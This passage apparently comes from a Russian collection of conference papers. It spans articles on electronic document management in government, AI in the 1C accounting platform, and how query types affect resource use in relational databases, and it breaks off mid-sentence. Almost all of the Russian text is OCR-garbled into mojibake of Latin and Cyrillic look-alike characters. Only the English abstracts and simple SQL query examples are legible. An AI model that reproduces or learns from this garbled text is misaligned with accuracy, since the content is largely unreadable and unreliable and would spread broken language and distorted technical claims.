oOMeHa JOKyMEHTAlMel C MCIIOJIb30BAaHUEM JIEKTPOHHON MOANMCH. JlaHHas cucteMa OCHOBaHa
Ha OOJBIIOM KOMIUIEKCE pPAa3lMYHbIX TPOILECCOB CO3/[aHUs, HW3MEHEHUS, pPEruCTpaIuH,
MOCIIEIYIONIETO OOMEHa W XpaHEHWs HEOOXOAMMOW JIOKYMEHTALMH C HCIOJIb30BaHUEM
CHELHUALHOTO MPOrPaMMHOT0 00ecrieueHH s, pa3padOTaHHOTO UMEHHO JUTS ATHUX LieneH [S].

CucremHbBIi  TOAXOA K  pa3pabOTKe  AJIEKTPOHHOTO  JAOKYMEHTOOOOpOTa B
TOCYAapCTBEHHOM YIIPaBIeHUH TpeOyeT COOTBETCTBYIOIIETO MPOrPAaMMHOIO oOOecreueHus,
TEXHOJIOTHA M LU(PPOBOA TPaMOTHOCTH Yy CIENUAIUCTOB, Pa0OTAIOUIMX C JIOKYMEHTAMHU.
[TocTOSIHHO TOSIBIISIFOTCSI HOBbIE MHHOBALIMU M Pa3pabOTKH, MO3BOJISIONINE COBEPIICHCTBOBATH
AJIEKTPOHHBIN JOKYyMEHTOOOOPOT, JieNiast ero HaJiexHee, ObIcTpee 1 MHOTO( yHKITMOHANIbHEE [4].

CymiecTByer mepeueHb TpeOOBaHMN, KOTOPHIM JOJDKHBI YAOBJIETBOPSTH CHCTEMBI
ANIEKTPOHHOTO 000pOTa TOCYAApPCTBEHHBIX OpraHoB. OMHO M3 TaKWX TPeOOBaHW pETyIHpyeT
nocraHoBieHne Munmudpsr PO Ne 325, cormacno emy cucrembl 2/10, oTHOcuMBIE
rocymapctBoM kK oducHomy I[1O, momxHBl moaaepxkuBaTh padboty ¢ Eamnolt cuctemoit
UACHTH(DHUKALNY U ayTeHTU(UKAIHH.

CTOUT OTMETUTB, YTO HICKTPOHHBIA JOKYMEHTOOOOPOT IS CUCTEMBI TOCY/IaPCTBEHHOTO
yIIpaBJIeHHUs UMEET CBOM crielM(pryeckre 0COOEHHOCTH [2]:

1. JIoKyMeHTBI, KOTOpHIE COAEpKaT BaKHBIC CBEICHMS, HMeEoUe rpady
«TOCYJapCTBCHHAs] TaifHa», JOJDKHBI OBITh 00eCHeueHbl MOBBIIICHHON
0€30I1aCHOCThIO, KaK Ha 3aKOHOJATEIbHOM, TaK U HA TEXHUUYECKOM YPOBHE.

2. Jlns SAEKTPOHHOTO JTOKYMEHTOOOOpOTa IMONBh30BaTENU (TOCYJapCTBEHHBIC
VUPESKICHUsI W OpraHbl BJIAcTH) HCIIOJIB3YIOT pasHooOpazue ¢GopM u
1a0JIOHOB IOKYMEHTOB.

3. Jlns xaxmoil KaTeropuy TOCYIapCTBEHHBIX CIYXKAIIUX U YIIPABISIOIINX €CTh
CBOHM YPOBHH IIPOCMOTPA IOKYMEHTOB.

4.  JIng TeXHUYECKOTO OCHAIIEHUS AJIEKTPOHHOIO JOKYMEHTOO0OpOTa B CHCTEME
TOCYIapCTBEHHOTO  ympaBieHHs Poccuum — JOJDKHO — MCTIONB30BATHCS
NporpaMMHOE 00EeCTICUeHIE POCCUUCKUX pa3paboTUnKoB u | T-koMmaHuii.

BHenpenue ciucTeMbl 31€KTPOHHOTO IOKYMEHTO000POTa MO3BOJISIET JOCTUYD Pa3IHYHbIC
3¢ deKThI U pe3ybTaThl, Kak [3]:
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. CHIDKEHHE CTOMMOCTHU OOCITYKHBAHUS CUCTEMBI TJOKYMEHTOO00POTa;

® OIITUMMU3ALI A BHYTPCHHHX mpoueccoB JACATCIIBHOCTHU OpraHoB
roCyAapCTBEHHOM BJIACTH;

. aKKyMyJIUpOBaHHE 0a3bl JAHHBIX BaKHOW WHQPOPMALMHU, KOTOpas MOXKET

UCIIOJIB30BATbCS.  TPM  COBEPLICHCTBOBAHUM  JICSITEIBHOCTH  OPraHoB
roCy/IapCTBEHHOM BIIACTH;

. YIIPOLIEHUE JTOCTYMA K Ba)KHBIM JOKYMEHTaM M MH(pOPMAalUl BHYTPEHHUM U
BHEIIHUM TOJIb30BATEIISIM;

. YCKOPEHHE MPOIIECCOB COTJIACOBAHUS YIPABICHUYECKUX PEIICHUH;

. HKOHOMUSI Pab0OYero BPEMEHU COTPY/IHUKOB;

. yBEJIMYEHHE POU3BOAUTENBHOCTH U 3PPEKTUBHOCTHU TPYAA.

[Tpu 3TOM, HECMOTPSI HA HATMYKE MHOKECTBA IUIIOCOB, AIEKTPOHHBIN T0KyMEHTOO0OPOT
UMEEeT Psii MUHYCOB, CpEId KOTOPBIX KuOepaTtaku W BUPYCHL. Pa3paboTuvku aHTUBHUPYCOB HE
Bcerja ObICTPO M OINEPaTHBHO YCIEBAIOT pa3paboTaTb U BBECTU HOBBIE YTHJIMTHI B CBSI3U C
co3JlaHueM Kakoro-nubo Bupyca. Kpome Toro, Hu oiHa opraHu3aiysi He 3acTpaxoBaHa OT cOos
cUcTeMbl OOMEHA U XpaHeHUsI IOKyMeHTOB. [loaTomMy B HacTosiliee Bpemsl IPUCYTCTBYET yrpo3a
notepu uH(Gopmanuu. OHAKO ITO pelaeTcst MyTeM CO3/1aHusI Pe3EePBHBIX KOMHUI.

['maBHBIC IEPCTICKTUBBI PA3BUTHS CUCTEMBI AJIEKTPOHHOTO JOKYMEHTO00OOpOTa B padoTe
OpraHoOB IrOCYIapCTBEHHOM BJIACTH CBs3aHbl ¢ BHeApeHueM eanHod COJ1. Peanusauus nanHoro
MPOEKTa MPOUCXOAUT Tpu momMotnu coznanus «I'oc2JIO». Pabora nanHO# cucTtemMbl 00ecTieunT
KOOPAMHAILIMIO B3aUMOJICHCTBHS BEOMCTBEHHBIX CHUCTEM 3JIEKTPOHHOI'O JIOKYMEHTO00OpOTa, a
TaKKe HAMOJHUT FOCYyJapCTBEHHBIH JOKYMEHTOOOOpOT AOMOIHUTENbHBIMU cepBrcaMu. Kpome
9TOr0, B PaMKax €IWHON CUCTEMBI IOSBUTCS BO3MOYKHOCTb OLIEHKM HAarpy3Ku Ha OpraHbl
rOCYIapCTBEHHOM BIACTH.

@OpMUPOBaHHS €IMHOM CUCTEMBI TIO3BOJIIET YINPOCTUTH IPOLECC YIPABICHUS
AJIEKTPOHHBIM JIOKyMEHTOOOOPOTOM U CTaHAApPTU3UPOBATh MPOLIECCHl 0OMEHA TaHHBIMH MEKIY
ydacTHUKaMH JaHHOM cucteMmbl. C nenbto oOecrieueHus 3(pQexkTHBHOM aBTOMaTH3AIMH
MIPOLIECCOB IO CO3/IaHHIO LU(POBBIX JOKYMEHTOB, UX PaHEHHMS, BbIAAYH, TIepeiaun, HE0OX0aumMa
pa3paboTka eTuHOM LU(POBOM MIATPOPMBI, K KOTOPOH OyIyT MOAKIIOYEHBI MaKCHMallbHOE
YHCII0 CYyOBEKTOB rOCY/IapPCTBEHHOTO YIIPABJICHHUSL.

Takum 00pazoM, cOBpeMEHHasi CHCTeMa 3JIEKTPOHHOTO JOKYMEHTOOOOpOTa B OpraHax
rocyaapcTBeHHOM Biactu Poccun TpeOyeT COBEpILEHCTBOBAHHUSI CHUCTEMBbI MH(OPMAIIMOHHON
0€30MacHOCTH U 3aIIUTHl JOKYMEHTOB, UTO KpaifHe aKTyalbHO B MEPHOJ «TUOPHIHON BOWHBD»,
KOTOpasi 3aKiIIoyaeTcss B IIMHOHAXKE M Kpaile KOHQUAEHIMaIbHON HH(pOopMaluu, KacaeMoin
BOIIPOCOB I'OCYJJAPCTBEHHON Ba’KHOCTH.

*kk
1 YepxacoBa, M.A. CeteBbie co00IIeCTBa M CMEHA TapaJuTMbl MYHUIMIIAIIBHOTO YIPABJICHUS Ha TIpUMepe T.
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2. Coxonosa, E.H. Posb 351eKTpoHHOTO JOKYMEHTOO0OPOTA B JIESITEHHOCTH OPTaHOB BJIACTU U €TO BIMSIHUE HA
3 PEeKTHBHOCTH TOCYIAPCTBEHHOTO yripaBieHus / OodmectBo u nmBmmmsarws. 2022. T. 4. Ne 3. C. 66—70.
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Ne 41. C. 3-10.
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https://www.consultant.ru/document/cons_doc_LAW_61798/?ysclid=Ipbk4zdjaf437096375 (mara
oOpamenust: 19.10.2024).
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PA3JIEJ XXIV. HHOPOPMATUKA U BBIYNCJ/IUTEJIBbHASA

TEXHUKA

Anrtoxuna /[.C., CazanoBa JL.A.
Baunsinne nckyccTBeHHOro nHTe IekTa Ha 1C

Ypanvckuii cocyoapcmeennulil sxonomuyeckul yHugepcumem
(Poccust, Examepunoype)

doi: 10.18411/trnio-01-2025-243

AHHOTAIINA
B crathe aBTOpHI aHANU3UPYIOT BIMSHUE MCKYCCTBEHHOTO MHTEIUIEKTa Ha MpOrpaMmy

I1C.

KiroueBble cioBa: uckycctBeHHslid uHTemekT (M), mporpamma 1C, HeiipoceTb,

BHEJIPEHUE.

Abstract

In the article, the authors analyze the impact of Artificial Intelligence on the 1C program.
Keywords: artificial intelligence (Al), 1C program, neural network, implementation.

Cucrempr 1C sBRSIOTCS OJHOW W3 HamOoOJee paclpOCTPaHEHHBIX IUIATHOPM JUIs
aBTOMATH3AIlUK yIpaBleHUs U Oyxranrepckoro yueta B Poccuu u ctpanax CHI', Gmaromaps
BHeApenuto MM, ona MokeT OBITH YCOBEPIICHCTBOBAaHA Ui JOCTIDKEHHUS 0OJiee BBICOKHX

pE3yIbTATOB.

PaCCMOTpI/IM KIIFOYCBBIC ITPOLIECCHI aBTOMATHU3allH, KOTOPEBIC 1M moxeT OCYHICCTBUTE:

ABTomaruueckast 00paboTka nokymeHToB. MM criocoOeH pacro3HaBaTh TEKCT
Ha CcKaHupoBaHHBIX JaokymeHTax (OCR-texHomormu) M aBTOMATUYECKU
3aMoJHATH TMOJIsl B 0a3e JAaHHBIX, YTO COKpAmlaeT BPeMs Ha BBOJ JAaHHBIX W
MHHUMH3HAPYET KOJTMYECTBO OIMUOOK, CBSI3aHHBIX C YEIIOBEYSCKUM (DAaKTOPOM.
VYnpaBnenue 3amacamu. AJTOPUTMBI  MAalIMHHOTO  OOy4YeHHMS  MOTYT
AQHAIM3UPOBATH JIAHHBIE O MPOJAXKaX U MPEICKA3bIBATh CIPOC HA MPOAYKIIHIO.
3TO TO3BOJSIET OCYHICCTBIISITH OOJiee TOYHOE IUIAHUPOBAHUE 3aKYIOK M
YIIPABJIATH 3arlacaMy, COKpAIasi U3IEPKKH.

ABTOMaTH3aLMsI OTYCTHOCTH. MHOTHE KOMITAHUHM TPATST 3HAYUTEIILHOE BPEMsI
Ha cocTaBieHue ordetoB. M moxer cobuparh JaHHbIE W3 Pa3IMUHBIX
UCTOYHUKOB M aBTOMAaTHYECKHM TEHEPUPOBATH OTYETHI, YTO II03BOJISIET
COKpaTHTh BpeMs M TIOBBICUTH TOYHOCTH IAaHHBIX, a TaK)KEe 3HAYUTEIHHO
YCKOpSIET MPOLECC MPUHATHS YIPABICHYECKUX PEIICHUH.

[IpenckazarenpHas aHanuThKa. Mcnmonb3yss uctopuyeckue nanHele, WU
MOYKET BBISBJIATH TEHICHIIMHA M 3aKOHOMEPHOCTH, YTO TI03BOJISIET KOMITAHHUSAM
IPOrHO3MPOBaTh Oyjylllee MOBEAECHUE KIMEHTOB M afanTHpOBaTh OW3HEC-
CTpaTeTuH COOTBETCTBEHHO.

Ontummsanus ueH. M MoxeT aHanmu3upoBaTh KOHKYPEHTHBIE ICHBI U
npeiarath HIcajbHbIC IICHBI Ha TOBapbl, YTO TPHBOAUT K YBEITHMYCHUIO
NPpUOBLIHA M YIYYIICHUIO KOHKYPEHTOCTTIOCOOHOCTH.

VYiydiieHue KIMEHTCKOro cepBuca ¢ momoiipio M.

Uar-60T1h1. BHeapenne 4ar-00TOB MO3BOJISIET aBTOMATU3UPOBATH OOIICHNE C KIIMEHTAMH,
MIPEJOCTABISAS OTBETHI HA YacCTO 3a/1aBacéMble BOMPOCHI U 0OpabaThiBas 3ampockl 0e3 y4acTust
COTPYAHHUKH. DTO HE TOJBKO YCKOPSIET MPOIECC, HO M 3HAYUTENIBHO CHW)KAET Harpy3Ky Ha
KOHTAKTHBIE IICHTPBI.
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WunuBuayanbHelil MOAXOM K KaXIOMY KJIMEHTY, OCHOBaHHBIM Ha aHAIW3€ JAHHBIX,
IIOMOTaeT KOMIIAHUSM IOBBIIIATH JIOSUIBHOCTH I10JIb30BATEIEH U YKPEIUIATh [IO3ULIMU Ha PhIHKE,
a TaKoke 00JIerYuTh PyTHHHYIO paboTy CIELUATUCTOB MOAEPIKKH.

Anamu3 o13b1BOB. MM MOXeT aHalM3upoBaTh OT3bIBBI KIMEHTOB Ha pa3IMYHbIX
wiaTopmax, BBIABIIASA KIFOYEBbIE MPOOIEMbl U BO3MOXHOCTH [UIS YIYYIIEHUS cepBUca. JTO
MO3BOJISIET KOMIAHUSM MOHMMAaTh MOTPEOHOCTH CBOMX KIMEHTOB M aJaNTHPOBAaTh CBOM
IIPEJIOKCHHUS 1101 HUX.

[ToBenuenue 3¢h(heKTHBHOCTH PabOTHI COTPYTHUKOB.

OOyueHnue u pazBuTHe. MOXKHO OCYIIECTBUTh NMOMOIIb B OOYyYEHHUH COTPYIHUKOB C
ucnosb3oBaHueM TexHosoruit M. Cuctemsl MOTyT peKOMEHA0BaTh KypChl HA OCHOBE aHAIN3a
KapbepHOr'o IMyTH Pa0OTHUKA U €T0 MPEIbIAYIIUX YCIEXO0B.

Vnpasnenue 3amauamu. WM MoxeT noMoub B paclpeliesieHuM 3aJad  MExIy
COTPYAHUKAaMM, OCHOBBIBasCb Ha HX 3arpyKEHHOCTH M OIbITE€, YTO CIIOCOOCTBYET
cOaaHCUpPOBaHHOW PabOTE KOMaH/IbI.

[TpoGnems! u HroaHncw! ipu BHeApenun U B 1C.

HecmoTpst Ha MHOKECTBO IPEUMYILECTB, PACCMOTPUM TaKxke 1poodaemsl BHenpenus NN
B 1C:

Cnoxnoctu unterpauuu. Bruenpenume MU TtpeOyer cepbe3HbIX HaBBIKOB B 00JacTu
pa3pabOTKH M TEXHOJOruid. MHOrMe KOMIIAHMHM MOTYT CTOJKHYTBCS C TPYIAHOCTSIMHU IpHU
MHTETpaliy HOBBIX pellieHHi B cyliecTByomue cuctemsl 1C.

KauectBo nmaHHbIX. D((heKTUBHOCTh anropuTtMoB M 3aBUCHT OT KauecTBa BXOJHBIX
naHHbIX. Ecmu  OHM  HemonHble WIM  UCKaKEHHbIE, pe3ylbTarbl  padoThl  OyAyT
HEY0BJIETBOPUTEIbHBIMH.

W3menenne KynbTypsl komnanuu. Buenpenne MM moxer morpeboBaTh M3MEHEHHH B
KOPIOPAaTUBHON KYNbTYpe M MOJAX0/aX K ynpasieHuto. COTpyIHHKaM MOXKET MOTpeOoBaThCs
BpeMs /IS afjanTalii K HOBBIM HHCTPYMEHTaM M MPOIeccaMm.

Ceituac monyueHue paboTalOIIEro Koja Ha TaKMX s3bIKaX HPOrpaMMHpPOBAHUS, Kak
Python, C, Java, JavaScript ctano o0sinenHocThi0. BoT TONbK0 1C 3Ta camasi 00BIIEHHOCTD HE
kacaerca. Hukakas Mozienb M HUKAaKOM 3apoc HUKOT/Ia He BBLIACT BaM paboTaromuii Koj Ha
s3bike 1C.

Yro xe ABIIETCS TOMY IPUUNHOMN?

HeiipoceTh MOXXKHO OOYy4HTh, a 3aHMMAETCS ITUM 4YeJoBeK. EWf Henmb3s JaTh MOYUTATH
KHUTY, 4TOOBI OHa cTania yMHOU. /11 00yueHust mporpaMMHUpPOBaHHIO, HY>KHO J1aBaTh HEUPOCETH
napsbl: BOIPOC MpaBWIbHBINA OTBET. M Takux map J0JDKHO ObITh O4eHb MHOTrO. [ momydeHus
TIOJIOXKUTEBHOTO Pe3yibTaTa MoTpeOyIOTCs COTHH THICSY TaKUX T1ap.

B cnydae ¢ Python, SQL u apyrumu momyssipHBIMH SI3IKAMH [IPOTPAMMHPOBAHHS
HeoOxonumoe Uit OOydeHHs] KOJIMYECTBO Iap BOIMPOC NPaBWIBHBIM OTBET yXKe HMEIOCh B
roToBOM Bujie Ha pecypce Stackoverflow wmm e Git.

Yro kacaercsa 1C, To HUT/IE ellle HEeT TaKOro MCTOYHMKA B HY)KHBIX KoJndecTBaxX. YToObI
HeWpoceTh Havaja mporpamMmmupoBaTh Ha 1C, KTO TO JOKEH LEICHANPABICHHO 3aHSTHCS
CO37[aHueM Habopa JaHHBIX.

3aKiroueHue

HcKyCCTBeHHBI HMHTEIUICKT TPOHMKACT B pa3iuuHble chepbl M HAXOOUT TECHOE
npumeHnenue B cucreMax 1C. Baenpenne M oTkpbIBaeT HOBBIE TOPU30HTHI U1l aBTOMATH3aLAN
MPOIIECCOB TPOrpaMMbl U PabOTHI C HEW, YTO CHOCOOCTBYeT TOBBIMICHHIO 3(PeKTHBHOCTH
COTPYAHUKOB, YIYyYLIEHUIO OOCIY)KMBAHUS KJIMEHTOB M aHaIW3a JaHHBIX. BakHo, oJHaKoO,
YUUTBIBATH BO3MOXKHBIC TPYIHOCTH M TPOOJIEMBI, BO3HUKAIOIIHE NPU WHTErPallii HOBBIX
TEXHOJIOTUH.

O00011ast ckazaHHOE, MO’KHO MPHUITH K BBIBOAY, UTO Moka noiHoe BHenpenue U B 1C
HEBO3MOXKHO I10 MPUBEIEHHBIM BbILIE MNPUYMHAM, HO, KaK MHMHUMYM, OOJIETYUTh TPYX
pabotaukoB cdeprl 1C HelipoceTs criocoOHa yxe ceidac.
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CobOpitust B UT BooOme m B obmactu MM B YacTHOCTH JOCTAaTOYHO OBICTPO
pa3BoOpavMuBarOTCsA, IO3TOMY B OAMH MOMCHT BCC MOXCT KapJAWHAJIBHO ITOMCHATHCS, TJIaBHOC -
YMETh aIallTUPOBATHCS K TEXHUUYECKOMY IPOrpecey.
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PeJSINNOHHBIX 0a3aX JaHHBIX
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AHHOTAIUSA

CT&TB?[ aHaJmsnpyeT BJIMSIHUEC THUIIOB 3anpoco13 nu XapaKTepI/ICTI/IK JAHHBIX Ha
MOTpeOJieHNE BBIUMCIUTENBHBIX PECYPCOB B PEIALMOHHBIX 0Oa3zax naHHbIX. [IpencraBneHa
MaTeMaTH4YeCKasi MOJICITb JUIS OLIEHKU BPEMEHHOW CIIOKHOCTH 3aIPOCOB, & TAKXKE MPEIOKEHBI
MOJAXOAbl K MX ONTUMH3AIMU C Y4ETOM CTPYKTYphI JAHHBIX, MHACKCAIIMM U ammapaTHBIX
(hakTopoB.

KiiroueBble c10Ba: pensiMoHHbIC 0a3bl JaHHBIX, 3aMPOCHI, BHIYUCIUTEIHLHBIE PECYPCHI,
nHaekcanus, JOIN, ontumuzanys.

Abstract

The article analyzes the impact of query types and data characteristics on the
consumption of computing resources in relational databases. A mathematical model for
estimating the time complexity of queries is presented, and approaches to optimizing them are
proposed, taking into account data structure, indexing, and hardware factors.

Keywords: relational databases, queries, computing resources, indexing, JOIN,
optimization.

[lpy aHanM3e 3aBUCHMOCTH IOTPEOJICHUS BBIYMCIUTEIBLHBIX PECYpCOB OT THIIOB
3allpOCOB B PEISIMOHHBIX 0a3ax MaHHBIX KIIOYEBBIM AaCHEKTOM SIBIISIETCS NMOHUMAHUE WX
BHYTpeHHEH mpuponabl. Kaxkaelii Tvm 3ampoca TpeabsBIsieT CBOM TpeOoBaHUs K 00paboTKe
JAHHBIX, YTO HATIPSIMYIO BIIHSIET HA 3aTPaThl PECYPCOB.

[IpocThie 3ampochl MPEACTABISIIOT COOOM BBHIOOPKM €3 OJHOM TaOmWIel  0e3
JIOTIOJTHUTENILHBIX OTEpallnii, TAKMX KaK COPTUPOBKA, TPYIITUPOBKA WM OOBEAUHEHHUE TaHHBIX.
[Tpumepom mosket ciyxuth 3anpoc SELECT * FROM table, roe pe3yabraToM sIBIIS€TCS
BO3BpAIIICHUE BCEX CTPOK M3 YKa3aHHOW TaOnuIpl. B 3TOM ciydae pecypchl pacXomyroTCs
MIPEUMYIIECTBEHHO Ha MOCJIEA0BaTeIbHOE YTeHUE TaHHbIX. Ecian 00beM TaOuiibl 3HaYUTENEH, a
WHJIEKCAIMs HE TPUMEHSIETCS, CepBEpy MOTPEeOyeTCs] BHIIIOIHUTE TOTHBIA MPOXOJ M0 JaHHBIM
(Tak Ha3pIBaeMoOe 'CKaHUpOBAHWE TAOIUIBI"), YTO JEIaeT MPOM3BOAUTEIIBHOCTh JIMHEWHO
3aBUCHUMOI OT KosmuecTBa cTpok (O(n)). OaHaKo Jaxke TaKue 3arpochl HAUMHAIOT HUCIIBITHIBATD
BJIMSHUE CTPYKTYPHl TAaOJUIIbI, €CJIM B BHIOOPKY BOBJIEUEHO OOJIBIIOE KOJIUYECTBO CTOJIOIIOB.
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DTO yBeNMYMBaeT 00bEM IEpeaBaeMbIX JAHHBIX M CO3[A€T JONOJHUTENbHYIO HAarpy3Ky Ha
OIEPATHBHYIO MaMSITh U CETEBBIC PECYPCHI.

Arperupyromme 3anpocbkl, Hampumep SELECT AVG (salary) FROM employees,
BKJTFOYAIOT OTEpaIK TMOJICUeTa, BBIUUCICHUS CPEIHETr0, CyMMBI WM JAPYTHX arperupyromnmx
dbyskmii. Takue 3ampockl TPEOYIOT 00paOOTKH BCEX CTPOK TAOUIIBI IJIS TIOTYYSHHSI HTOTOBOTO
3HAYEHUs], YTO HAKJIAJBIBACT JOMOJHHUTEIbHBIE TPeOOBaHMS Ha MpoIeccOp U MaMATh. [Ipu
rpynmupoBke (GROUP BY) noGapnsieTcst DONMOJHUTENBHBIA YPOBEHb CIIOKHOCTH: JaHHBIE
JOJDKHBI OBITH JTHOO TPEABAPUTEIHHO OTCOPTHPOBAHBI, THOO OOBETUHEHBI B TPYIIHBI Yepe3
MCMOJIb30BaHKE XAMI-Ta0HIL. DTO YBEINYUBAET MOTPEOICHNE KaK MPOLIECCOPHOTO BPEMEHH, TaK
Y ONIEpaTUBHOM MAMSTH, 0COOCHHO TIPY 3HAYUTEITHHOM KOJIMYECTBE YHUKAIBHBIX TPYIIIL.

HauGonpiryro cnokHOCTh It 00paOOTKH TPEICTABISIOT 3alpochl ¢ COSAMHEHUEM
tabmu (JOIN). B aTux omepanusix JgaHHbIE W3 ABYX WM OoJiee TaOIUI] OOBEAMHSIOTCS TIO
3aganHeiM ycioBusM. Hampumep, B 3ampoce SELECT * FROM orders JOIN customers ON
orders.customer id = customers.id cepBep OKEH CONOCTABHTH CTPOKH M3 Tabiwil orders u
customers 10 3Ha4eHUIO KiItoya customer id.

Ecnu tabnmumpl copepikaT Ny M N, CTPOK COOTBETCTBEHHO, a MHICKCAIIUS OTCYTCTBYET,
CIIOXHOCTB omepanuu MoxeT gocturatb O (ng + n,). IlpuMeHeHne MHIEKCOB CHUKAET 3Ty
CJIO’KHOCTB, HO TOJIBKO TIPU YCIIOBHH KOPPEKTHOM MX HACTPOMKHU M UCTOIb30BaHus. Kpome Toro,
tun coeauHenus (INNER, LEFT, RIGHT wmu FULL OUTER JOIN) Takke Biuser Ha 00beM
BBIUUCIICHHH, TaKk Kak pasnuyHblie TUMbl JOIN TpeOyloT pa3sHOro ypoBHSI COIMOCTABICHHS U
00pabOTKH MyCTHIX 3HAYECHUH.

CKOpOCTb BBHITOJIHEHHS 3aIPOCOB 3aBHCUT HE TOJIBKO OT UX THUIMA, HO U OT CTPYKTYpPHI
JAHHBIX, 00hEMa TAOJUI], HATUYWS HHICKCOB M JPYTUX TTAPaMETPOB.

OO0BEM MaHHBIX, TTPECTABICHHBIA KOJIMYECTBOM CTPOK B Tabmuie (n), OKa3bIBaeT caMoe
OYEBHIHOE BMsHHUE. 3ampockl ¢ ¢uasTpanueii, Takue kak SELECT * FROM table WHERE
column = value, mpu OTCYTCTBHUM HHJEKCa TPEeOYIOT JHHEHHOrO0 MPOCMOTpa BCEX CTPOK
Tabmurpl. OfHAKO WHIEKCAIMS TIO3BOJISIET CepBEpy OBICTPO HAWTH JaHHBIE, COKPATHB
cioxnocTh 710 O (log  n) wmm gaxe O (1) npu X3UI-UHIICKCALTUH.

CrpykTypa TaOnMIl Takke UrpaeT 3HauMMyro poib. Hampumep, 6oiblioe KOJIMYECTBO
CTOJIOIIOB yBEIMYUBAET O0BEM HAaHHBIX, KOTOpble HeoOXoaumMo oOpaboTaTh M mepenats. B
ciyyae 3amnpocoB ¢ HeckonbkuMu coeauHeHusiMu (JOIN) crpykTypa Tabmul] CTaHOBHTCS
KPUTUYECKOM, TaK KaK yBEJIMYCHHE KOJMYECTBA CTOJOLIOB U CTPOK B OOBEAUHSIEMBIX TaOIUIAX
CYIIECTBEHHO YBEITHMUYHMBAET HATPY3KY.

WHeKChl MO3BOJISIFOT COKPATHTh KOJIMYECTBO OMEpalvii MOMCKa, HO OHU TaKke TPeOYIoT
3aTpar Ha mojIepKKy. Hampumep, npu BcTaBke Wi OOHOBJICHUH JJAHHBIX CEPBEPY HEOOXOAUMO
OOHOBUTH COOTBETCTBYIOIINE HWHICKCHI, YTO YBEIMYMBAET BPEMsI BBIMOIHEHHS OIEpaluit
3anucu. DPQPEKTUBHOCT, MHIEKCOB 3aBHCHT OT WX THIA: B-1epeBo XOpOIIO TMOIXOAWT IS
JIMATa30HHBIX 3alIPOCOB, TOTa KaK X3II-UHACKC ObICTpee 00pabaThiBaeT TOUSHHBIC BEIOOPKH.

AnmapaTHble XapaKTEPUCTUKH CHCTEMbl OMNPENENSIOT, HAaCKOJbKO 3(PQeKTHUBHO Oa3za
JAHHBIX MOKET CIIPABIISITHCS C 3alIPOCAMH, YTO OTOOpAKEHO Ha PUCYHKE 1.

HacTponku SddekTUBHOCTD
CYB/ ., CPU

o

CKopocTb "~ 3 deKTUBHOCTb
XpaHeHuA RAM

Pucynox 1. Biusnue annapamnozo obecneyerus Ha npou3800UMenbHOCHb 0A3bl OAHHBIX.
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Lentpanpnbiii  mporieccop (CPU) oOpabarbiBaeT BBIMUCICHUS, HEOOXOAMMBIE IS
BBITIOJIHEHHS 3aIIPOCOB, TAKUX KaK COPTUPOBKA WM BBIYUCIICHUE arperatoB. Yem Oodblie siyep
U BBIIIE TAKTOBAsl YaCTOTa MPOLECCOpPa, TEM OBICTpEe BBIMOJIHAIOTCS Takue onepauuu. OgHako
Ha MPOU3BOAMUTEIBHOCTh TaKXKe BIUET OanaHC MEXTy BBIYMCICHUSIMU U ONepalusiMU BBOJA-
BBIBO/IA.

OneparuBHas namatbe (RAM) urpaer BaXHEHILYIO pOJIb IIPU BBIIOJIHEHUH 3aIIPOCOB C
OOJBIIMMU BPEMEHHBIMH TaOHIIaMu, TakuMu kak coptupoBka, JOIN mwin GROUP BY. Ecimn
00BEM JTaHHBIX TPEBBIIAET JOCTYMHBIM O0OBEM MaMATH, CepBepy MPUXOTUTCS HCIOIb30BAThH
BpeMeHHbIE (Daiiiibl Ha TUCKE, YTO 3HAYUTEIIBHO CHIDKAET MPOU3BOJUTEIHHOCTb.

CucreMa XpaHEHHUs JaHHBIX ONPEAEISIET CKOPOCTh JOCTyIa K JaHHbIM. COBpEMEHHBIE
SSD obecrnieunBatoT 3HAUUTETHHO OOJIee BHICOKYIO MPOU3BOIUTEIBLHOCTh YTEHUS U 3aIHCH IO
cpaBHeHHI0 ¢ HDD. Opnako naxe BBICOKOCKOPOCTHBIE HAKONMUTENIM HE KOMIIEHCHUPYIOT
HEIOCTAaTOK OMEPAaTUBHOM MaMSATH WIIM MPOLIECCOPHOM MOIITHOCTH.

Hacrpoiiku CYB/] Takke 0Ka3bIBalOT KIIFOUEBOE BIMsHUE. bydepuzanms, kemmnpoBaHme
WH/IEKCOB M HACTPOMKM OrpaHMYEeHHs MaMsITU IJIi BPEMEHHBIX OIEpaluil MOTYT YCKOPUTh
BBITIOJIHEHHE 3arpocoB. Hampumep, mNpaBWIBHO HACTPOSHHBIA pa3mep OydepHoro myna
MO3BOJISIET CEpPBEPY XPAHUTh 4YAacTO HCHOJNb3yeMble JaHHbIE B OMNEPAaTHUBHOM MaMsTH,
MUHUMHU3UPYS 0OpalleHus K AUCKY.

Jis aHanmM3a 3aBUCHMMOCTH BPEMEHHU BBINIOMHEHHUS 3alpoCOB OT HMX IMapaMeTpoB H
XapaKTEPUCTUK IAHHBIX Mbl CTPOMM MAaTEMAaTHYECKYI0 MOJEJb, YUHMTHIBAIOLIYIO KIIIOUEBBIE
(bakTOopbI, BIUSIONINE HA IPOU3BOAUTENILHOCTh. PaccMOTpUM Ka) bl U3 MapaMeTpoB, KOTOPHIT
(bopMHUpYET UTOTOBYIO 3aBHCUMOCTb.

KonuuecTBo cTpok (n) - TOT mapameTp oTpaxaeT 00bEM JTaHHBIX B TaOIuUIle. 3apochl,
HE WCIIONB3YIONIME WHACKCH, TPEOYIOT TOJIHOTO CKaHUPOBAHHS TAOJUIIBI, YTO TPHUBOAUT K
JTMHEHHON 3aBUCHMOCTH BpPEMEHHU BBINOJIHEHUS OT n. Hampumep, BbIOOpKa BCeX CTPOK M3
tabmubel (SELECT* ) OyneT 3aBUCETh TOJIBKO OT KOJUYECTBA 3amuceil. [t mpocThIX BRIOOPOK
U QuiabTpaImii BpeMEHHAs CI0KHOCTh TAKUX 3alPOCOB JTMHEWHO 3aBUCHT OT n, T.e O(n).

KomudaectBo cTon6moB (¢) - [Ipu yBenmmdeHun yucia cToj0moB pacTéT 00bEM NaHHBIX,
KOTOPBIM HY>)KHO 00paboTaTh U mepeaaTh KIUEHTY. JTO YBEIMYUBACT HArpy3Ky Ha MOJCHCTEMY
BBOJIa-BBIBOJIA U OTIEPATUBHYIO MaMsITh, OCOOEHHO €CITH 3alpOC BO3BPAIIAET BCE CTOJOIBI HIIH
TpebyeT 00padoTku O0NbIINX 00BEMOB TaHHBIX (HATIPUMED, COPTUPOBKA WIIH TPYIIITUPOBKA).

KomuectBo ycnosuii (f) - Uucno ycnoBuil B 3ampocax, Hanpumep, B WHERE wunun
